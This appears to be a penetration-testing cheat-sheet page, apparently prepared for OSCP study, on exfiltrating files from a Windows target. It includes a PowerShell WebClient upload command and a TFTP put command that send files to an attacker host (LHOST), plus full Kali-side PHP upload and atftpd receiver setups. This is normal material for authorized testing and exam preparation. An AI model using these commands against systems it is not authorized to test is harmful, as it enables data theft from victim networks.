Windows Uploads

Windows Uploads Using Windows Scripting Languages

In certain scenarios, we may need to exfiltrate data from a target network using a Windows client.

If outbound HTTP is the selected route, prepare the HTTP receiver once and start it with the intended receiving directory/listen address. On the Windows host, select the actual source file:

(New-Object System.Net.WebClient).UploadFile('http://LHOST:8000/upload.php', 'C:\PATH\FILE')

Read the response, inspect the received file in Kali's chosen directory and compare its hash where supported. A request rejected for size or a duplicate filename is not a completed transfer.

Uploading Files with TFTP

Prepare the conditional TFTP receiver, then use an already available Windows client:

tftp -i LHOST put C:\PATH\FILE FILE

The final FILE must match the receiving filename prepared on Kali. Verify the bytes received; when the client or UDP path is unavailable, choose another existing transfer method.

Configure HTTP file receiver

Optional Kali HTTP receiver for the existing .NET UploadFile method. Prepare the PHP endpoint once; select a separate receiving directory and listen address for each use. This uses a foreground PHP server, not a change to the global Apache webroot. PHP upload handling.

sudo apt install php-cli
mkdir -p "$HOME/oscp/tools/receivers/http"
( set -o noclobber
cat > "$HOME/oscp/tools/receivers/http/upload.php" <<'PHP'
<?php
$directory = getenv('OSCP_UPLOAD_DIR');
if (!$directory || !is_dir($directory) || !isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
    http_response_code(400);
    exit('Invalid upload');
}
$name = basename($_FILES['file']['name']);
$destination = $directory . DIRECTORY_SEPARATOR . $name;
if ($name === '' || file_exists($destination)) {
    http_response_code(409);
    exit('Choose a new filename');
}
if (!move_uploaded_file($_FILES['file']['tmp_name'], $destination)) {
    http_response_code(500);
    exit('Upload failed');
}
echo 'Saved';
PHP
)
php -l "$HOME/oscp/tools/receivers/http/upload.php"

Keep an existing reviewed script, or choose a different endpoint directory. When needed, replace TARGET with the private host label and LHOST with Kali's reachable interface address. Start in the foreground:

mkdir -p "$HOME/oscp/work/TARGET/received"
export OSCP_UPLOAD_DIR="$HOME/oscp/work/TARGET/received"
php -S LHOST:8000 -t "$HOME/oscp/tools/receivers/http"

Use /upload.php in the existing client command. Inspect the received filename/content and compare its hash; a Saved response alone does not establish byte-for-byte integrity. PHP's configured request/upload size limits still apply. Stop this receiver with Ctrl+C when finished; do not serve the evidence directory itself.

Reusable preparation

Configure TFTP file receiver

Conditional fallback when a Windows TFTP client is already available and UDP connectivity permits the transfer. Prepare the server package on Kali. APT may start a packaged service under the local service policy; check systemctl status atftpd and sudo ss -lunp before starting the foreground receiver. Do not start a second listener on an occupied port. Kali atftp/atftpd documentation.

sudo apt install atftpd
atftpd --help

For one selected transfer, replace TARGET, FILE and LHOST. Precreate the receiving file and run the server in the foreground under your ordinary Kali identity after binding the UDP port:

mkdir -p "$HOME/oscp/work/TARGET/received"
touch "$HOME/oscp/work/TARGET/received/FILE"
sudo atftpd --daemon --no-fork --user "$(id -un)" --group "$(id -gn)" --bind-address LHOST --port 69 --pidfile "$HOME/oscp/work/TARGET/atftpd.pid" "$HOME/oscp/work/TARGET/received"

Use that exact FILE destination in the target's put command. This unauthenticated protocol is an on-demand transfer fallback, not a permanently running baseline service. Check the resulting file/hash, and stop the foreground receiver with Ctrl+C when finished. If a target lacks TFTP or the path is blocked, use the existing HTTP/SCP/SMB choices rather than enabling target features by default.